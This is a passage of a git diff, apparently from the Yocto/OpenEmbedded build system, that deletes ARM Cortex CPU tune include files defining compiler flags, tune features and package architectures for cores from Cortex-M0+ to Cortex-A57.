-TUNEVALID[cortexm0-plus] = "Enable Cortex-M0 Plus specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm0-plus', ' -mcpu=cortex-m0plus', '', d)}"
-AVAILTUNES += "cortexm0-plus"
-
-ARMPKGARCH_tune-cortexm0-plus = "cortexm0-plus"
-TUNE_FEATURES_tune-cortexm0-plus = "${TUNE_FEATURES_tune-armv6m} cortexm0-plus"
-
-PACKAGE_EXTRA_ARCHS_tune-cortexm0-plus = "${PACKAGE_EXTRA_ARCHS_tune-armv6m} cortexm0-plus"
diff --git a/meta/conf/machine/include/tune-cortexa15.inc b/meta/conf/machine/include/tune-cortexa15.inc
deleted file mode 100644
index 0457c2d9fa..0000000000
--- a/meta/conf/machine/include/tune-cortexa15.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7vethf-neon"
-
-require conf/machine/include/arm/arch-armv7ve.inc
-
-TUNEVALID[cortexa15] = "Enable Cortex-A15 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', ' -mcpu=cortex-a15', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', 'armv7ve:', '', d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa15 cortexa15t cortexa15-neon cortexa15t-neon cortexa15-neon-vfpv4 cortexa15t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa15 = "cortexa15"
-ARMPKGARCH_tune-cortexa15t = "cortexa15"
-ARMPKGARCH_tune-cortexa15-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15t-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15-neon-vfpv4 = "cortexa15"
-ARMPKGARCH_tune-cortexa15t-neon-vfpv4 = "cortexa15"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa15 = "arm vfp cortexa15"
-TUNE_FEATURES_tune-cortexa15t = "${TUNE_FEATURES_tune-cortexa15} thumb"
-TUNE_FEATURES_tune-cortexa15-neon = "${TUNE_FEATURES_tune-cortexa15} neon"
-TUNE_FEATURES_tune-cortexa15t-neon = "${TUNE_FEATURES_tune-cortexa15-neon} thumb"
-TUNE_FEATURES_tune-cortexa15-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa15t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} cortexa15-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15t = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} cortexa15-vfp cortexa15t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} cortexa15-vfp cortexa15-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} cortexa15-vfp cortexa15-neon cortexa15t2-vfp cortexa15t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4 cortexa15t2-vfp cortexa15t2-neon cortexa15t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa15hf cortexa15thf cortexa15hf-neon cortexa15thf-neon cortexa15hf-neon-vfpv4 cortexa15thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa15hf = "cortexa15"
-ARMPKGARCH_tune-cortexa15thf = "cortexa15"
-ARMPKGARCH_tune-cortexa15hf-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15thf-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15hf-neon-vfpv4 = "cortexa15"
-ARMPKGARCH_tune-cortexa15thf-neon-vfpv4 = "cortexa15"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa15hf = "${TUNE_FEATURES_tune-cortexa15} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15thf = "${TUNE_FEATURES_tune-cortexa15t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15hf-neon = "${TUNE_FEATURES_tune-cortexa15-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15thf-neon = "${TUNE_FEATURES_tune-cortexa15t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} cortexa15hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} cortexa15hf-vfp cortexa15t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} cortexa15hf-vfp cortexa15hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} cortexa15hf-vfp cortexa15hf-neon cortexa15t2hf-vfp cortexa15t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4 cortexa15t2hf-vfp cortexa15t2hf-neon cortexa15t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa17.inc b/meta/conf/machine/include/tune-cortexa17.inc
deleted file mode 100644
index 6a2107f653..0000000000
--- a/meta/conf/machine/include/tune-cortexa17.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7vethf-neon"
-
-require conf/machine/include/arm/arch-armv7ve.inc
-
-TUNEVALID[cortexa17] = "Enable Cortex-A17 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', ' -mcpu=cortex-a17', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', 'armv7ve:', '', d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa17 cortexa17t cortexa17-neon cortexa17t-neon cortexa17-neon-vfpv4 cortexa17t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa17 = "cortexa17"
-ARMPKGARCH_tune-cortexa17t = "cortexa17"
-ARMPKGARCH_tune-cortexa17-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17t-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17-neon-vfpv4 = "cortexa17"
-ARMPKGARCH_tune-cortexa17t-neon-vfpv4 = "cortexa17"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa17 = "arm vfp cortexa17"
-TUNE_FEATURES_tune-cortexa17t = "${TUNE_FEATURES_tune-cortexa17} thumb"
-TUNE_FEATURES_tune-cortexa17-neon = "${TUNE_FEATURES_tune-cortexa17} neon"
-TUNE_FEATURES_tune-cortexa17t-neon = "${TUNE_FEATURES_tune-cortexa17-neon} thumb"
-TUNE_FEATURES_tune-cortexa17-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa17t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} cortexa17-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17t = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} cortexa17-vfp cortexa17t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} cortexa17-vfp cortexa17-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} cortexa17-vfp cortexa17-neon cortexa17t2-vfp cortexa17t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4 cortexa17t2-vfp cortexa17t2-neon cortexa17t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa17hf cortexa17thf cortexa17hf-neon cortexa17thf-neon cortexa17hf-neon-vfpv4 cortexa17thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa17hf = "cortexa17"
-ARMPKGARCH_tune-cortexa17thf = "cortexa17"
-ARMPKGARCH_tune-cortexa17hf-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17thf-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17hf-neon-vfpv4 = "cortexa17"
-ARMPKGARCH_tune-cortexa17thf-neon-vfpv4 = "cortexa17"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa17hf = "${TUNE_FEATURES_tune-cortexa17} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17thf = "${TUNE_FEATURES_tune-cortexa17t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17hf-neon = "${TUNE_FEATURES_tune-cortexa17-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17thf-neon = "${TUNE_FEATURES_tune-cortexa17t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} cortexa17hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} cortexa17hf-vfp cortexa17t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} cortexa17hf-vfp cortexa17hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} cortexa17hf-vfp cortexa17hf-neon cortexa17t2hf-vfp cortexa17t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4 cortexa17t2hf-vfp cortexa17t2hf-neon cortexa17t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa32.inc b/meta/conf/machine/include/tune-cortexa32.inc
deleted file mode 100644
index e86de6ccb7..0000000000
--- a/meta/conf/machine/include/tune-cortexa32.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "cortexa32"
-
-TUNEVALID[cortexa32] = "Enable Cortex-A32 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa32', ' -mcpu=cortex-a32', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa32 cortexa32-crypto"
-ARMPKGARCH_tune-cortexa32 = "cortexa32"
-ARMPKGARCH_tune-cortexa32-crypto = "cortexa32"
-TUNE_FEATURES_tune-cortexa32 = "armv8a cortexa32 crc"
-TUNE_FEATURES_tune-cortexa32-crypto = "${TUNE_FEATURES_tune-cortexa32} crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa32 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa32"
-PACKAGE_EXTRA_ARCHS_tune-cortexa32-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa32 cortexa32-crypto"
-BASE_LIB_tune-cortexa32 = "lib"
-BASE_LIB_tune-cortexa32-crypto = "lib"
diff --git a/meta/conf/machine/include/tune-cortexa35.inc b/meta/conf/machine/include/tune-cortexa35.inc
deleted file mode 100644
index cb3ad4c11e..0000000000
--- a/meta/conf/machine/include/tune-cortexa35.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "cortexa35"
-
-TUNEVALID[cortexa35] = "Enable Cortex-A35 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa35', ' -mcpu=cortex-a35', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa35 cortexa35-crypto"
-ARMPKGARCH_tune-cortexa35 = "cortexa35"
-ARMPKGARCH_tune-cortexa35-crypto = "cortexa35"
-TUNE_FEATURES_tune-cortexa35 = "${TUNE_FEATURES_tune-armv8a-crc} cortexa35"
-TUNE_FEATURES_tune-cortexa35-crypto = "${TUNE_FEATURES_tune-cortexa35} crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa35 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa35"
-PACKAGE_EXTRA_ARCHS_tune-cortexa35-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa35 cortexa35-crypto"
-BASE_LIB_tune-cortexa35 = "lib64"
-BASE_LIB_tune-cortexa35-crypto = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa5.inc b/meta/conf/machine/include/tune-cortexa5.inc
deleted file mode 100644
index 923b758c41..0000000000
--- a/meta/conf/machine/include/tune-cortexa5.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7athf-neon"
-
-require conf/machine/include/arm/arch-armv7a.inc
-
-TUNEVALID[cortexa5] = "Enable Cortex-A5 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', ' -mcpu=cortex-a5', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', 'armv7a:', '', d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa5 cortexa5t cortexa5-neon cortexa5t-neon cortexa5-neon-vfpv4 cortexa5t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa5 = "cortexa5"
-ARMPKGARCH_tune-cortexa5t = "cortexa5"
-ARMPKGARCH_tune-cortexa5-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5t-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5-neon-vfpv4 = "cortexa5"
-ARMPKGARCH_tune-cortexa5t-neon-vfpv4 = "cortexa5"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa5 = "arm vfp cortexa5"
-TUNE_FEATURES_tune-cortexa5t = "${TUNE_FEATURES_tune-cortexa5} thumb"
-TUNE_FEATURES_tune-cortexa5-neon = "${TUNE_FEATURES_tune-cortexa5} neon"
-TUNE_FEATURES_tune-cortexa5t-neon = "${TUNE_FEATURES_tune-cortexa5-neon} thumb"
-TUNE_FEATURES_tune-cortexa5-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa5t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} cortexa5-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5t = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} cortexa5-vfp cortexa5t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} cortexa5-vfp cortexa5-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} cortexa5-vfp cortexa5-neon cortexa5t2-vfp cortexa5t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4 cortexa5t2-vfp cortexa5t2-neon cortexa5t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa5hf cortexa5thf cortexa5hf-neon cortexa5thf-neon cortexa5hf-neon-vfpv4 cortexa5thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa5hf = "cortexa5"
-ARMPKGARCH_tune-cortexa5thf = "cortexa5"
-ARMPKGARCH_tune-cortexa5hf-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5thf-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5hf-neon-vfpv4 = "cortexa5"
-ARMPKGARCH_tune-cortexa5thf-neon-vfpv4 = "cortexa5"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa5hf = "${TUNE_FEATURES_tune-cortexa5} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5thf = "${TUNE_FEATURES_tune-cortexa5t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5hf-neon = "${TUNE_FEATURES_tune-cortexa5-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5thf-neon = "${TUNE_FEATURES_tune-cortexa5t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} cortexa5hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} cortexa5hf-vfp cortexa5t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} cortexa5hf-vfp cortexa5hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} cortexa5hf-vfp cortexa5hf-neon cortexa5t2hf-vfp cortexa5t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4 cortexa5t2hf-vfp cortexa5t2hf-neon cortexa5t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa53.inc b/meta/conf/machine/include/tune-cortexa53.inc
deleted file mode 100644
index 7f8863a2fa..0000000000
--- a/meta/conf/machine/include/tune-cortexa53.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "cortexa53"
-
-TUNEVALID[cortexa53] = "Enable Cortex-A53 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa53', ' -mcpu=cortex-a53', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa53 cortexa53-crypto"
-ARMPKGARCH_tune-cortexa53 = "cortexa53"
-ARMPKGARCH_tune-cortexa53-crypto = "cortexa53-crypto"
-TUNE_FEATURES_tune-cortexa53 = "${TUNE_FEATURES_tune-armv8a-crc} cortexa53"
-TUNE_FEATURES_tune-cortexa53-crypto = "${TUNE_FEATURES_tune-cortexa53} crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa53 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa53 cortexa53-crypto"
-BASE_LIB_tune-cortexa53 = "lib64"
-BASE_LIB_tune-cortexa53-crypto = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa55.inc b/meta/conf/machine/include/tune-cortexa55.inc
deleted file mode 100644
index e9629738f3..0000000000
--- a/meta/conf/machine/include/tune-cortexa55.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "cortexa55"
-
-TUNEVALID[cortexa55] = "Enable Cortex-A55 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa55', ' -mcpu=cortex-a55', '', d)}"
-
-require conf/machine/include/arm/arch-armv8-2a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa55"
-ARMPKGARCH_tune-cortexa55 = "cortexa55"
-TUNE_FEATURES_tune-cortexa55 = "${TUNE_FEATURES_tune-armv8-2a-crypto} cortexa55"
-PACKAGE_EXTRA_ARCHS_tune-cortexa55 = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} cortexa55"
-BASE_LIB_tune-cortexa55 = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa57-cortexa53.inc b/meta/conf/machine/include/tune-cortexa57-cortexa53.inc
deleted file mode 100644
index d329d6199f..0000000000
--- a/meta/conf/machine/include/tune-cortexa57-cortexa53.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "cortexa57-cortexa53"
-
-TUNEVALID[cortexa57-cortexa53] = "Enable big.LITTLE Cortex-A57.Cortex-A53 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", " -mcpu=cortex-a57.cortex-a53", "", d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", "cortexa57-cortexa53:", "", d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa57-cortexa53"
-ARMPKGARCH_tune-cortexa57-cortexa53 = "cortexa57-cortexa53"
-TUNE_FEATURES_tune-cortexa57-cortexa53 = "${TUNE_FEATURES_tune-armv8a-crc} cortexa57-cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa57-cortexa53 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa57-cortexa53"
-BASE_LIB_tune-cortexa57-cortexa53 = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa57.inc b/meta/conf/machine/include/tune-cortexa57.inc
deleted file mode 100644
index 91fa6685f5..0000000000
--- a/meta/conf/machine/include/tune-cortexa57.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "cortexa57"
-
-TUNEVALID[cortexa57] = "Enable Cortex-A57 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa57', ' -mcpu=cortex-a57', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa57 cortexa57-crypto"
-ARMPKGARCH_tune-cortexa57 = "cortexa57"
-ARMPKGARCH_tune-cortexa57-crypto = "cortexa57-crypto"
-TUNE_FEATURES_tune-cortexa57 = "${TUNE_FEATURES_tune-armv8a-crc} cortexa57"
-TUNE_FEATURES_tune-cortexa57-crypto = "${TUNE_FEATURES_tune-cortexa57} crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa57 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa57"
-PACKAGE_EXTRA_ARCHS_tune-cortexa57-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa57 cortexa57-crypto"
-BASE_LIB_tune-cortexa57 = "lib64"
-BASE_LIB_tune-cortexa57-crypto = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa7.inc b/meta/conf/machine/include/tune-cortexa7.inc
deleted file mode 100644
index 05081dcbd8..0000000000
--- a/meta/conf/machine/include/tune-cortexa7.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7vethf-neon"
-
-require conf/machine/include/arm/arch-armv7ve.inc
-
-TUNEVALID[cortexa7] = "Enable Cortex-A7 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', ' -mcpu=cortex-a7', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', 'armv7ve:', '', d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa7 cortexa7t cortexa7-neon cortexa7t-neon cortexa7-neon-vfpv4 cortexa7t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa7 = "cortexa7"
-ARMPKGARCH_tune-cortexa7t = "cortexa7"
-ARMPKGARCH_tune-cortexa7-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7t-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7-neon-vfpv4 = "cortexa7"
-ARMPKGARCH_tune-cortexa7t-neon-vfpv4 = "cortexa7"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa7 = "arm vfp cortexa7"
-TUNE_FEATURES_tune-cortexa7t = "${TUNE_FEATURES_tune-cortexa7} thumb"
-TUNE_FEATURES_tune-cortexa7-neon = "${TUNE_FEATURES_tune-cortexa7} neon"
-TUNE_FEATURES_tune-cortexa7t-neon = "${TUNE_FEATURES_tune-cortexa7-neon} thumb"
-TUNE_FEATURES_tune-cortexa7-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa7t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} cortexa7-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7t = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} cortexa7-vfp cortexa7t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} cortexa7-vfp cortexa7-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} cortexa7-vfp cortexa7-neon cortexa7t2-vfp cortexa7t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4} cortexa7-vfp cortexa7-neon cortexa7-neon-vfpv4 cortexa7t2-vfp cortexa7t2-neon cortexa7t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa7hf cortexa7thf cortexa7hf-neon cortexa7thf-neon cortexa7hf-neon-vfpv4 cortexa7thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa7hf = "cortexa7"
-ARMPKGARCH_tune-cortexa7thf = "cortexa7"
-ARMPKGARCH_tune-cortexa7hf-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7thf-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7hf-neon-vfpv4 = "cortexa7"
-ARMPKGARCH_tune-cortexa7thf-neon-vfpv4 = "cortexa7"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa7hf = "${TUNE_FEATURES_tune-cortexa7} callconvention-hard"
